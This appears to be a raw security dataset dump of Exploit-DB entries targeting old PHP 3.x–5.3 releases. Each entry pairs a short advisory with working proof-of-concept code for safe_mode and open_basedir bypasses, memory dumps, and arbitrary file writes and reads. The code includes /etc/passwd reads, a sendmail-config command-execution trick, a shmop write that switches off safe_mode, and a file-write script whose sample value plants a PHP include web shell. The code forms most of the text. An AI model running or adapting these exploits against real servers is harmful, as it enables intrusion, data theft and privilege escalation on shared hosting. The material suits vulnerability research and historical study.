deardaniel/secdata-raw huggingface dataset:
Exploit-DB #21347
Description: PHP 3.0.x/4.x - Move_Uploaded_File open_basedir Circumvention
Type: local
Platform: php
Date: 2002-03-17
Author: Tozz

Exploit:
source: https://www.securityfocus.com/bid/4325/info

PHP is a server side scripting language, designed to be embedded within HTML files. It is available for Windows, Linux, and many Unix based operating systems. It is commonly used for web development, and is very widely deployed.

It has been reported that the move_uploaded_file function lacks an open_basedir check. The effect of this issue is that this function may be used to perform file operations on directories outside of those specified by the open_basedir setting.

This vulnerability may not be exploited to overwrite existing files. 

<?

$file = $HTTP_POST_FILES['file']['name'];
$type = $HTTP_POST_FILES['file']['type'];
$size = $HTTP_POST_FILES['file']['size'];
$temp = $HTTP_POST_FILES['file']['tmp_name'];

$size_limit = "100000"; // set size limit in bytes

if ($file){
if ($size < $size_limit){

move_uploaded_file($temp,
"/domains/somebodyelse.org/public_html/www/test/".$file);
echo "The file <tt>$file</tt> was sucessfully
uploaded";
} else {
echo "Sorry, your file exceeds the size limit of $size_limit
bytes";
}}

echo "
<form enctype='multipart/form-data' action=$PHP_SELF method=post>
Upload a file: <input name='file' type='file'>
<input type='submit' value='Upload'>
</form>
";
?>
Exploit-DB #24173
Description: PHP 4.3.x - Microsoft Windows Shell Escape functions Command Execution
Type: local
Platform: php
Date: 2004-06-07
Author: Daniel Fabian

Exploit:
source: https://www.securityfocus.com/bid/10471/info

PHP is reportedly prone to a command execution vulnerability in its shell escape functions. This issue is due to a failure of PHP to properly sanitize function arguments.

This issue might allow an attacker to execute arbitrary shell commands on a computer running the vulnerable software within the security context of the web server; potentially leading to unauthorized access. Other attacks are also possible.

This issue is reported to affect PHP under Microsoft Windows version 4.3.3 and 4.3.5, it is likely that other Microsoft Windows versions are affected as well.

" || dir ||
Exploit-DB #22911
Description: PHP 4.3.x - Undefined Safe_Mode_Include_Dir Safemode Bypass
Type: local
Platform: php
Date: 2003-07-16
Author: Michal Krause

Exploit:
source: https://www.securityfocus.com/bid/8201/info

PHP is prone to an issue that may allow programs to bypass Safe Mode by calling external files in restricted directories using include() and require().

The problem is known to occur when the safe_mode_include_dir PHP directive is not defined. A logic error reportedly exists which could result in PHP failing to run a security check when attempting to access a file via an include() or require() call, potentially bypassing the Safe Mode model. This could allow unauthorized access or policy bypass in environments that use Safe Mode, such as in cases where a web server resource is shared by multiple users.

This issue is reported to exist in PHP versions 4.3.0 and later. 

<?
echo("trying to read /etc/passwd");
include("/etc/passwd");
?>
Exploit-DB #23023
Description: PHP 4.x - DLOpen Memory Disclosure (2)
Type: local
Platform: php
Date: 2003-08-13
Author: andrewg

Exploit:
// source: https://www.securityfocus.com/bid/8405/info
 
A vulnerability has been reported to present itself in the dlopen() function contained in the PHP source. The issue occurs when PHP is used in conjunction with the Apache web server. A local attacker may exploit this issue to gain unauthorized access to potentially sensitive information.

/* 
 * http://felinemenace.org/ - Local PHP fun stuff - andrewg
 * Under linux, this will dump the processes memory into /tmp. Its useful for
 * several things.
 */

#include <stdlib.h>
#include <stdio.h>
#include <assert.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/ptrace.h>
#include <errno.h>

int bd_fd=0;

void trace(char *string)
{
	char buf[32];
	
	if(bd_fd == 0) {
		sprintf(buf, "/tmp/tracez.%d", getpid());
		bd_fd = open(buf, O_WRONLY|O_CREAT|O_TRUNC|O_SYNC, 0777);
		if(bd_fd == -1) {
			system("echo fscking damnit. unable to open file > /tmp/trace");
			exit(EXIT_FAILURE);
		}
	}
	write(bd_fd, string, strlen(string));
}

void _init()
{
	char cmd[1024], cmd2[1024];
	int fd;
	unsigned int start, stop;
	FILE *f;
	
	sprintf(cmd, "Starting up: pid %d\n", getpid());
	system("cat /proc/$PPID/maps > /tmp/t");
	trace(cmd);
	
	f = fopen("/proc/self/maps", "r");
	while(fgets(cmd2, sizeof(cmd2)-1, f)) {
		trace("read: ");
		trace(cmd2);
		sscanf(cmd2,"%08x-%08x \n", &start, &stop);
		sprintf(cmd, "\nStart: %p, Stop: %p\n", start, stop);
		trace(cmd);
		sprintf(cmd, "/tmp/memdump.%p", start);
		trace("saving data to ");
		trace(cmd);
		trace("\n");
		if((fd = open(cmd, O_WRONLY|O_CREAT|O_TRUNC, 0777)) < 0) {
			trace("Unable to open file.\n");
		} else {
			write(fd, start, stop - start);
			close(fd);
		}
	}

	fclose(f);
	
	trace("\n--> should be done now\n");
	
}

void _fini()
{
	close(bd_fd);
}
Exploit-DB #20985
Description: PHP 4.x - SafeMode Arbitrary File Execution
Type: local
Platform: php
Date: 2001-06-30
Author: Wojciech Purczynski

Exploit:
source: https://www.securityfocus.com/bid/2954/info

PHP is the Personal HomePage development toolkit, distributed by the PHP.net, and maintained by the PHP Development Team in public domain.

A problem with the toolkit could allow elevated privileges, and potentially unauthorized access to restricted resources. A local user may upload a malicious php script, and execute it with a custom query string.

This makes it possible for a local user to execute commands as the HTTP process UID, and potentially gain access with the same privileges of the HTTP UID.

It has been reported that the proposed fix does not entirely fix the problem, as it's possible to pass command line parameters to sendmail when safe_mode is enabled. This may be done through the 5th argument permitted by safe_mode. 

<?
$script=tempnam("/tmp", "script");
$cf=tempnam("/tmp", "cf");

$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);

$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);

mail("nobody", "", "", "", "-C$cf");
?>
Exploit-DB #25040
Description: PHP 4.x/5.0 Shared Memory Module - Offset Memory Corruption
Type: local
Platform: php
Date: 2004-12-20
Author: Stefano Di Paola

Exploit:
source: https://www.securityfocus.com/bid/12045/info

PHP shared memory module (shmop) is reported prone to an integer handling vulnerability. The issue exists in the PHP_FUNCTION(shmop_write) function and is as a result of a lack of sufficient sanitization performed on 'offset' data.

This vulnerability may be exploited to make an almost arbitrary write into process memory. It is reported that the vulnerability may be leveraged to disable PHP 'safe mode', this may result in further compromise in a shared-server environment. 

<?
/*
   Php Safe_mode Bypass Proof of concept.
   
   Copyright 2004 Stefano Di Paola stefano.dipaola[at]wisec.it
   
   Disclaimer: The author is not responsible of any damage this script can cause
   
*/

 $shm_id = shmop_open(0xff2, "c", 0644, 100);
  if (!$shm_id) {
    echo "Couldn't create shared memory segment\n";
    die;
 }

// $data="\x01";
// the new value for safe_mode
 $data="\x00";
 
// this (-3842685) is my offset to reach core_globals.safe_mode
// taken with gdb. (0x40688d83)
 $offset=-3842685;
// Lets write the new value at our offset.
$shm_bytes_written = shmop_write($shm_id, $data, $offset );
if ($shm_bytes_written != strlen($data)) {
   echo "Couldn't write the entire length of data\n";
}

//Now lets delete the block and close the shared memory segment
if (!shmop_delete($shm_id)) {
   echo "Couldn't mark shared memory block for deletion.";
}
shmop_close($shm_id);

// Let's try if safe mode has been set to off
echo passthru("id");
dl("shmop.so");
?>
Exploit-DB #27335
Description: PHP 4.x/5.0/5.1 - 'mb_send_mail()' Restriction Bypass
Type: local
Platform: php
Date: 2006-02-28
Author: ced.clerget@free.fr

Exploit:
source: https://www.securityfocus.com/bid/16878/info
 
PHP is prone to multiple input-validation vulnerabilities that could allow 'safe_mode' and 'open_basedir' security settings to be bypassed. These issues reside in the 'mb_send_mail()' function, the 'mail()' function, and various PHP IMAP functions.

mb_send_mail($email_address, NULL, NULL, NULL, $additional_param);
Exploit-DB #27334
Description: PHP 4.x/5.0/5.1 with Sendmail Mail Function - 'additional_param' Arbitrary File Creation
Type: local
Platform: php
Date: 2006-02-28
Author: ced.clerget@free.fr

Exploit:
source: https://www.securityfocus.com/bid/16878/info

PHP is prone to multiple input-validation vulnerabilities that could allow 'safe_mode' and 'open_basedir' security settings to be bypassed. These issues reside in the 'mb_send_mail()' function, the 'mail()' function, and various PHP IMAP functions.

$additional_param = "-C ".$file_to_read." -X ".getcwd()."/".$output_file;
Exploit-DB #26352
Description: PHP 5.0.5 - Safedir Restriction Bypass
Type: local
Platform: php
Date: 2005-10-17
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/15119/info

PHP is prone to multiple vulnerabilities that permit an attacker to bypass the 'safedir' directory restriction.

An attacker can exploit these vulnerabilities to possible execute arbitrary code currently existing on a vulnerable system, or to retrieve the contents of arbitrary files, all in the security context of the Web server process.

Information obtained may aid in further attacks against the affected system; other attacks are also possible.

These issues have been addressed in the latest CVS version. 

<?php
$im = imagecreatefromgif("file.gif");
imagegif($im, '/var/www/f34r.fr/c/f/elbossoso/.i.need.money.php');
?>

<?php

mkdir("./".$_SERVER["SCRIPT_NAME"]."?");
$ch = curl_init("file://".$_SERVER["SCRIPT_FILENAME"]."?/../../../../../../../../../../../etc/passwd ");

$file=curl_exec($ch);

echo $file;

?>
Exploit-DB #29528
Description: PHP 5.2 - FOpen 'Safe_mode' Restriction Bypass
Type: local
Platform: php
Date: 2007-01-26
Author: Maksymilian Arciemowicz

Exploit:
source: https://www.securityfocus.com/bid/22261/info

PHP is prone to a 'safe_mode' restriction-bypass vulnerability. Successful exploits could allow an attacker to write files in unauthorized locations; other attacks may also be possible.

This vulnerability would be an issue in shared-hosting configurations where multiple users can create and execute arbitrary PHP script code, all assuming that the 'safe_mode' restriction will isolate users from each other.

This issue is reported to affect PHP version 5.2.0; other versions may also be vulnerable. 

php -r 'fopen("srpath://../../../../../../../dir/pliczek", "a");'
Exploit-DB #29239
Description: PHP 5.2 - Session.Save_Path() 'Safe_mode' / 'open_basedir' Restriction Bypass
Type: local
Platform: php
Date: 2006-12-08
Author: Maksymilian Arciemowicz

Exploit:
source: https://www.securityfocus.com/bid/21508/info

PHP is prone to a 'safe_mode' and 'open_basedir' restriction-bypass vulnerability. Successful exploits could allow an attacker to access sensitive information or to write files in unauthorized locations.

This vulnerability would be an issue in shared-hosting configurations where multiple users can create and execute arbitrary PHP script code; in such cases, the 'safe_mode' and 'open_basedir' restrictions are expected to isolate users from each other.

PHP version 5.2.0 is vulnerable to this issue.

session_save_path("/DIR/WHERE/YOU/DONT/HAVE/ACCESS\0;/DIR/WHERE/YOU/HAVE/ACCESS")
Exploit-DB #29801
Description: PHP 5.2.1 - 'Session.Save_Path()' TMPDIR open_basedir Restriction Bypass
Type: local
Platform: php
Date: 2007-03-28
Author: Stefan Esser

Exploit:
source: https://www.securityfocus.com/bid/23183/info

PHP is prone to a 'open_basedir' restriction-bypass vulnerability due to a design error.

Successful exploits could allow an attacker to access sensitive information or to write files in unauthorized locations.

This vulnerability would be an issue in shared-hosting configurations where multiple users can create and execute arbitrary PHP script code; in such cases, the 'safe_mode' and 'open_basedir' restrictions are expected to isolate users from each other.

The following versions are vulnerable:

PHP 4 up to and including 4.4.6
PHP 5 up to and including 5.2.1 

<?php
  ini_set("session.save_path", "/sessions/user2/");
  putenv("TMPDIR=/sessions/user2/");
  ini_set("session.save_path", "");
  @session_start();
?>
Exploit-DB #29804
Description: PHP 5.2.1 - Multiple functions 'Reference' Information Disclosures
Type: local
Platform: php
Date: 2007-03-29
Author: Stefan Esser

Exploit:
source: https://www.securityfocus.com/bid/23202/info

PHP is prone to an information-disclosure vulnerability due to a design error.

The vulnerability resides in various functions that accept parameters as references.

Successful exploits will allow attackers to obtain sensitive information. Information harvested may assist on further attacks.

PHP 4 through 4.4.6 and 5 through 5.2.1 are affected. 

<?php
  
////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  
//
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ 
//
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ 
//
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   
//
  //                                                                    
//
  //         Proof of concept code from the Hardened-PHP Project        
//
  //                   (C) Copyright 2007 Stefan Esser                  
//
  //                                                                    
//
  
////////////////////////////////////////////////////////////////////////
  //     PHP iptcembed() Interruption Information Leak Vulnerability    
//
  
////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");

  define("LEAK_ADDR", 0x08048000);
  define("LEAK_SIZE", 0x100);



  set_error_handler("myErrorHandler");

  $filename = md5(uniqid());
  $data = "\xff\xd8\xff\xe0\x00\x00\xd9";
  file_put_contents("filename", $data);

  $str = str_repeat("A", LEAK_SIZE);

  @ob_start();
  iptcembed(&$str, "filename", new dummy());
  $data = ob_get_contents();
  $memdump = substr($data, 7+31);
  ob_end_clean();
            

  unlink($filename);

  class dummy
  {
  }
  
  function myErrorHandler()
  {
    $GLOBALS['str'] = (int)$GLOBALS['str'];
    $GLOBALS['str'] += LEAK_ADDR;
    return true;
  }

  echo "memdump\n---------\n\n";
  
  for ($b=0; $b<strlen($memdump); $b+=16) {
    printf("%08x: ", $b);
    for ($i=0; $i<16; $i++) {
      printf ("%02x ", ord($memdump[$b+$i]));
    }
    for ($i=0; $i<16; $i++) {
      $c = ord($memdump[$b+$i]);
      if ($c >= 127 || $c < 32) {
        $c = ord(".");
      }
      printf ("%c", $c);
    }
    printf("\n");
  }
?>
Exploit-DB #10296
Description: PHP 5.2.10/5.3.0 - 'ini_restore()' Memory Information Disclosure
Type: local
Platform: php
Date: 2009-12-03
Author: Maksymilian Arciemowicz

Exploit:
Credit/Author:
Maksymilian Arciemowicz from SecurityReason

Vulnerable:
PHP PHP 5.3 
PHP PHP 5.2.10 
Debian Linux 5.0 sparc
Debian Linux 5.0 s/390
Debian Linux 5.0 powerpc
Debian Linux 5.0 mipsel
Debian Linux 5.0 mips
Debian Linux 5.0 m68k
Debian Linux 5.0 ia-64
Debian Linux 5.0 ia-32
Debian Linux 5.0 hppa
Debian Linux 5.0 armel
Debian Linux 5.0 arm
Debian Linux 5.0 amd64
Debian Linux 5.0 alpha
Debian Linux 5.0

References:
https://www.securityfocus.com/bid/36009/info
http://securityreason.com/achievement_securityalert/65

Description:
PHP is prone to an information-disclosure vulnerability. 
Attackers can exploit this issue to obtain sensitive information that may lead to further attacks

POC 1:
<?php

ini_set("session.save_path", "[PII_REDACTED]ABCDEF");
ini_restore("session.save_path");
session_start();
?>

POC 2:
<?php
ini_set("open_basedir", "A");
ini_restore("open_basedir");
ini_get("open_basedir");


include("B");

?>
Exploit-DB #10557
Description: PHP 5.2.12/5.3.1 - 'symlink()' open_basedir Bypass
Type: local
Platform: php
Date: 2009-12-19
Author: Maksymilian Arciemowicz

Exploit:
<?php
/*
PHP 5.2.12/5.3.1 symlink() open_basedir bypass 
by Maksymilian Arciemowicz http://securityreason.com/
cxib [ a.T] securityreason [ d0t] com

CHUJWAMWMUZG
*/

$fakedir="cx";
$fakedep=16;

$num=0; // offset of symlink.$num

if(!empty($_GET['file'])) $file=$_GET['file'];
else if(!empty($_POST['file'])) $file=$_POST['file'];
else $file="";

echo '<PRE><img src="http://securityreason.com/gfx/logo.gif?cx5211.php"><P>This is exploit from <a
href="http://securityreason.com/" title="Security Audit PHP">Security Audit Lab - SecurityReason</a> labs.
Author : Maksymilian Arciemowicz
<p>Script for legal use only.
<p>PHP 5.2.12 5.3.1 symlink open_basedir bypass
<p>More: <a href="http://securityreason.com/">SecurityReason</a>
<p><form name="form"
 action="http://'.$_SERVER["HTTP_HOST"].htmlspecialchars($_SERVER["PHP_SELF"]).'" method="post"><input type="text" name="file" size="50" value="'.htmlspecialchars($file).'"><input type="submit" name="hym" value="Create Symlink"></form>';

if(empty($file))
	exit;

if(!is_writable("."))
	die("not writable directory");

$level=0;

for($as=0;$as<$fakedep;$as++){
	if(!file_exists($fakedir))
		mkdir($fakedir);
	chdir($fakedir);
}

while(1<$as--) chdir("..");

$hardstyle = explode("/", $file);

for($a=0;$a<count($hardstyle);$a++){
	if(!empty($hardstyle[$a])){
		if(!file_exists($hardstyle[$a])) 
			mkdir($hardstyle[$a]);
		chdir($hardstyle[$a]);
		$as++;
	}
}
$as++;
while($as--)
	chdir("..");

@rmdir("fakesymlink");
@unlink("fakesymlink");

@symlink(str_repeat($fakedir."/",$fakedep),"fakesymlink");

// this loop will skip allready created symlinks.
while(1)
	if(true==(@symlink("fakesymlink/".str_repeat("../",$fakedep-1).$file, "symlink".$num))) break;
	else $num++;

@unlink("fakesymlink");
mkdir("fakesymlink");

die('<FONT COLOR="RED">check symlink <a href="./symlink'.$num.'">symlink'.$num.'</a> file</FONT>');

?>
Exploit-DB #31937
Description: PHP 5.2.6 - 'chdir()' Function http URL Argument Safe_mode Restriction Bypass
Type: local
Platform: php
Date: 2008-06-18
Author: Maksymilian Arciemowicz

Exploit:
source: https://www.securityfocus.com/bid/29796/info

PHP is prone to multiple 'safe_mode' restriction-bypass vulnerabilities. Successful exploits could allow an attacker to determine the presence of files in unauthorized locations; other attacks are also possible.

Exploiting these issues allows attackers to obtain sensitive data that could be used in other attacks.

These vulnerabilities would be an issue in shared-hosting configurations where multiple users can create and execute arbitrary PHP script code; in such cases, the 'safe_mode' restriction is expected to isolate users from each other.

PHP 5.2.6 is vulnerable; other versions may also be affected. 

cxib# cat /www/wufff.php
<?
echo getcwd()."\n";
chdir("/etc/");
echo getcwd()."\n";
?>
cxib# ls -la /www/wufff.php
-rw-r--r--  1 www  www  62 Jun 17 17:14 /www/wufff.php
cxib# php /www/wufff.php
/www

Warning: chdir(): SAFE MODE Restriction in effect.  The script whose uid
is 80 is not allowed to access /etc/ owned by uid 0 in /www/wufff.php on
line 3
/www
cxib#
---/EXAMPLE1---

---EXAMPLE2---
cxib# ls -la /www/wufff.php
-rw-r--r--  1 www  www  74 Jun 17 17:13 /www/wufff.php
cxib# ls -la /www/http:
total 8
drwxr-xr-x   2 www  www   512 Jun 17 17:12 .
drwxr-xr-x  19 www  www  4608 Jun 17 17:13 ..
cxib# cat /www/wufff.php
<?
echo getcwd()."\n";
chdir("http://../../etc/");
echo getcwd()."\n";
?>
cxib# php /www/wufff.php
/www
/etc
cxib#
Exploit-DB #33161
Description: PHP 5.3 - 'mail.log' Configuration Option 'open_basedir' Restriction Bypass
Type: local
Platform: php
Date: 2009-08-10
Author: Maksymilian Arciemowicz

Exploit:
source: https://www.securityfocus.com/bid/36007/info

PHP is prone to an 'open_basedir' restriction-bypass vulnerability because of a design error.

Successful exploits could allow an attacker to write files in unauthorized locations.

This vulnerability would be an issue in shared-hosting configurations where multiple users can create and execute arbitrary PHP script code; in such cases, the 'safe_mode' and 'open_basedir' restrictions are expected to isolate users from each other.

PHP 5.3.0 is vulnerable. 

<?php
$to = 'stop@example.com';
$subject = 'open_basedir bypass by http://securityreason.com';
$message = 'exploit';
$headers = 'From: stop@example.com' . "\r\n" .
'Reply-To: stop@example.com' . "\r\n" .
'X-Mailer: PHP<?php echo ini_get(\'open_basedir\');?>/' .
phpversion();

mail($to, $subject, $message, $headers);
?>
Exploit-DB #9842
Description: PHP 5.3.0 - 'pdflib' Arbitrary File Write
Type: local
Platform: php
Date: 2009-11-06
Author: Sina Yazdanmehr

Exploit:
Description:
------------
Via this bug , attacker can save a file in path that not allowed in
open_basedir .

Reproduce code:
---------------
<?php
// Author : Sina Yazdanmehr (R3d.W0rm) ; Our Site : http://IrCrash.com
if(!extension_loaded('pdf')){
   die('pdf extension required .');   
}else{
    $__PATH = $_GET['p']; /*The path that u want save file in .ex:
/etc/file.php*/
    $__VALUE = $_GET['v']; /*The text that u want save in file .ex:
<?php include $_GET[f];?>*/
    if(!isset($__PATH,$__VALUE)){
       
die('/expl.php?p=[path_u_want_save_file]/[file_name]&v=[value_u_want_sav
e_in_file]');
    }
    $__IRCRASH = pdf_new();
    pdf_open_file($__IRCRASH,$__PATH);
    pdf_begin_page($__IRCRASH,612,792);
   
pdf_add_note($__IRCRASH,100,650,200,750,$__VALUE,'R3d.W0rm','note',0);
    pdf_end_page($__IRCRASH);
    pdf_close($__IRCRASH);
    pdf_delete($__IRCRASH);
    print('<p>IrCrash Security Team .</p>');
    print('<p>' . $__PATH . "\n"  . 'created .</p>');}
?>

Expected result:
----------------
When attacker run this code , a file in a path that attacker input in
`p` in url , whith value that attacker input in `v` in url.